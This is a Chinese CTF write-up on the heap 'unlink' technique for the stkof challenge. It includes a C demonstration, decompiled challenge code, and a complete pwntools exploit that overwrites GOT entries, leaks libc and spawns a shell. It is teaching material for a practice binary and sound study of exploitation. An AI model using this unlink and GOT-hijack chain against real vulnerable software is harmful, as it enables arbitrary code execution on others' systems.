stkof 程序下载:https://pan.baidu.com/s/1_dcm8OFjhKbKYWa3WBtAiQ

提取码:pkyb

unlink 基础操作

# define unlink
#define unlink(AV, P, BK, FD) {                                             \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);\
else { \
FD->bk = BK; \
BK->fd = FD; \
...
}

根据unlink的定义中, P BK FD 都是chunk .(上述代码中省略部分是 large bin 的,不好做利用,我不会)

unlink.c
#include<stdio.h>
#include<malloc.h>
#include<unistd.h>
#include<string.h>
long list;
int main(){
char *p = malloc(0x80);
char *q = malloc(0x80);
char *r = malloc(0x80); list = p;
printf("%p\n",p); *(long *)p = 0;
*(long *)(p+8) = 0x81;
//让下一个chunk释放时检测到这个从fd开始的假chunk已经被释放了 *(long *)(p+16) = &list - 0x3;//FD
*(long *)(p+24) = &list - 0x2;//BK *(long *)(q-16) = 0x80;
*(long *)(q-8) = 0x90;
//prev_size 为80,0x90 prev_inuser位表示前一个chunk已经被free
free(q);
//触发前向合并,移动指针 q -= priv_size strcpy(list,"aaaaaaaabbbbbbbbcccccccc\x38\x10\x60");
strcpy(list,"dddddddd");
//这两个strcpy是为了向0x601038位置写入'dddddddd'
//利用方式:改got表 hook printf("%p\n",malloc(0));
return 0;
}
$ gcc unlink.c
$./a.out
0xa64010
0xa64020
上述代码分析:
FD = P->fd;  |  FD -> bk == P  |  FD -> bk = BK
BK = P->bk; | BK -> fd == P | BK -> fd = FD
| unlink检查方式 | 断链的操作
---------------------------------------------------------------
prev_size 0 <==(p_chunk)
size 0x91
fd 0 <==p的指针
bk 0x81
&list-3 prev_size <==(FD_chunk)
&list-2 size prve_size <==(BK_chunk)
&list-1 fd size
list=p bk fd 最后一行 p==FD->bk==BK->fd
因为BK -> fd = FD 所以 list = &list-3 注: 新申请的内存也是在这个位置
free后还能被改,,真惨...不好,我好喜欢

好了,如果小白在上述代码分析中停留了3天,我就当你明白了

下面开始实战

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
...
while ( fgets(&buf, 10, stdin) )
{
num = atoi(&buf);
switch(num)
{
case 1: ret = add();
goto LABEL_14;
case 2:ret = edit();
goto LABEL_14;
case 3:ret = del();
goto LABEL_14;
case 4:ret = show();
goto LABEL_14; }
...
} signed __int64 add()
{
...
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return -1;
bss_chunkS[++chunk_num] = v2;
printf("%d\n", (unsigned int)chunk_num, size);
return 0LL;
} signed __int64 edit()
{
...
fgets(&buf, 16, stdin);
index = atol(&buf);
if ( index > 0x100000 )
return -1;
if ( !bss_chunkS[index] )
return -1;
fgets(&buf, 16, stdin);
n = atoll(&buf);
ptr = bss_chunkS[index];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )// 溢出
{
ptr += i;
n -= i;
}
...
} signed __int64 del()
{
...
fgets(&s, 16, stdin);
index = atol(&s);
if ( index > 0x100000 )
return 0xFFFFFFFFLL;
if ( !bss_chunkS[index] )
return 0xFFFFFFFFLL;
free(bss_chunkS[index]);
bss_str[index] = 0LL;
return 0LL;
} signed __int64 show()
{
...
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return -1;
if ( !bss_chunkS[v1] )
return 0xFFFFFFFFLL;
if ( strlen(bss_chunkS[v1]) <= 3 )
puts("//TODO");
else
puts("...");
return 0LL;
}
利用代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./stkof")
elf=ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n') def edit(index,payload):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(len(payload)))
p.sendline(payload)
p.recvuntil('OK\n') def delete(index):
p.sendline('3')
p.sendline(str(index)) add(0x80) #此时的堆布局 1.printf 2.chunk1
add(0x20) # 3.puts 4.chunk2
add(0x80) # 5.chunk3 6.top_chunk
#我们不好将chunk1直接溢出到chunk2,但chunk2与chunk3是连续的 chunk_list=0x602140+0x10 #第2个chunk的指针 payload = p64(0)
payload += p64(0x21)
payload += p64(chunk_list - 0x18) #FD
payload += p64(chunk_list - 0x10) #BK payload += p64(0x20)
payload += p64(0x90)
edit(2,payload) delete(3) #chunk_list=&chunk_list-0x18 FD
p.recvuntil('OK\n') payload = p64(0)+ p64(elf.got['free'])
payload += p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2,payload)#idx2 这个位置 = &chunk_list-0x18
#当编辑完后,chunk2这个指针指向 atoi@got payload = p64(elf.plt['puts'])
edit(0, payload) #free@got 改为指向 puts@plt delete(1) #free@got->puts@plt(puts@got)
p.recvline()
puts_addr = u64(p.recvline()[:-1].ljust(8, '\x00'))
system = puts_addr - libc.symbols['puts'] + libc.symbols['system'] edit(2,p64(system)) #atoi@got->system addr
p.sendline('/bin/sh')
p.recvuntil('FAIL\n')
p.interactive()

通过这此的题,我发现自己对malloc free的源码的理解程度严重不足,这题我足足做了3天,我还是闭关研究一下源码吧..

unlink- ctf-stkof的更多相关文章

  1. [CTF]Heap vuln -- unlink

    0x00: 起因 一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习. 0x01: 关于heap的unlink的漏洞利用,出的很早,在低 ...

  2. linux下堆溢出unlink的一个简单例子及利用

    最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记:作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正. 本文用到的例子下载链接https://github.com/ctfs/w ...

  3. 如何在CTF中当搅屎棍

    论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...

  4. Unlink——2016 ZCTF note2解析

    简介 Unlink是经典的堆漏洞,刚看到这个漏洞不知道如何实现任意代码执行,所以找了一个CTF题,发现还有一些细节的地方没有讲的很清楚,题目在这里.自己也动手写一遍,体验一下 题目描述 首先,我们先分 ...

  5. CTF中做Linux下漏洞利用的一些心得

    其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...

  6. ctf经典好题复习

    WEB200-2 这是swpu-ctf的一道题. <?php if(isset($_GET['user'])){ $login = @unserialize(base64_decode($_GE ...

  7. CTF AWD模式攻防Note

    ###0x01 AWD模式 Attack With Defence,简而言之就是你既是一个hacker,又是一个manager.比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮, ...

  8. CTF辅助脚本

    首先推荐这篇文章,网上有多次转载,这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密 凯撒密码 flag='flag{abcdef}' c='' n=20 for i in flag: if ' ...

  9. CTF基础知识 && AWD红蓝对抗

    AWD 备份源码,修改账户密码,查看是否有预留后门然后删掉 修改mysql密码 格式:mysqladmin -u用户名 -p旧密码 password 新密码 例子:mysqladmin -uroot ...

  10. CTF中的AWD套路

    今年参加了三起CTF比赛,属于初学者,基本除了web其他的不会,但分赛场AWD相对就没什么难度,基本都是技巧性.其中一场进入复赛了,本月底再次比赛(ctf题做的这么渣还能进也是绝了~),参照前人经验补 ...

随机推荐

  1. H5手机端开发问题汇总及解决方案

    前言 少侠,请留步,相见必是缘分,赠与你一部<踏坑秘籍> 扎马步 踏坑第一式 ios竖屏拍照上传,图片被旋转问题 解决方案 // 几个步骤 // 1.通过第三方插件exif-js获取到图片 ...

  2. 【NOIP2016提高A组模拟8.17】(雅礼联考day1)总结

    考的还ok,暴力分很多,但有点意外的错误. 第一题找规律的题目,推了好久.100分 第二题dp,没想到. 第三题树状数组.比赛上打了个分段,准备拿60分,因为时间不够,没有对拍,其中有分段的20分莫名 ...

  3. python4---打印长方形

    1:方法1for i in range(6): for j in range(3): print("*", end=" ") print() 2:输入显示长方形 ...

  4. python中的时间模块

    废话不多说,看代码 import datetime,time import calendar #时间戳 t1 = time.time() print('当前时间戳是{}'.format(t1)) #格 ...

  5. Cassandra 集群配置

    集群机制 一致性哈希(数据一致性) Token Range Partitoner Gossip协议(流言,无中心获取领导者) 用于在环内节点之间传播状态信息 周期运行,每次在环中随机挑选一个对象节点, ...

  6. luogu 4927 [1007]梦美与线段树 概率与期望 + 线段树

    考场上切了不考虑没有逆元的情况(出题人真良心). 把概率都乘到一起后发现求的就是线段树上每个节点保存的权值和的平方的和. 这个的修改和查询都可以通过打标记来实现. 考场代码: #include < ...

  7. #417 Div2 Problem C Sagheer and Nubian Market (二分 && std::accumulate)

    题目链接 : http://codeforces.com/problemset/problem/812/C 题意 : 给你 n 件物品和你拥有的钱 S, 接下来给出这 n 件物品的价格, 这些物品的价 ...

  8. linux下简易端口扫描器

    #include<iostream> #include<string.h> #include<sys/types.h> #include<sys/socket ...

  9. Python语言中enumerate()及zip()函数的使用例子

    在Python编程语言中,enumerate()及zip()是两个常用的内置函数,这两个函数功能类似,但又有所区别,下面通过两个例子分别进行说明. enumerate()函数 该函数在字面上是枚举.列 ...

  10. 使用Jacoco获取 Java 程序的代码执行覆盖率

    Jacoco是Java Code Coverage的缩写,顾名思义,它是获取Java代码执行覆盖率的一个工具,通常用它来获取单元测试覆盖率.它通过分析Java字节码来得到代码执行覆盖率,因此它还可以分 ...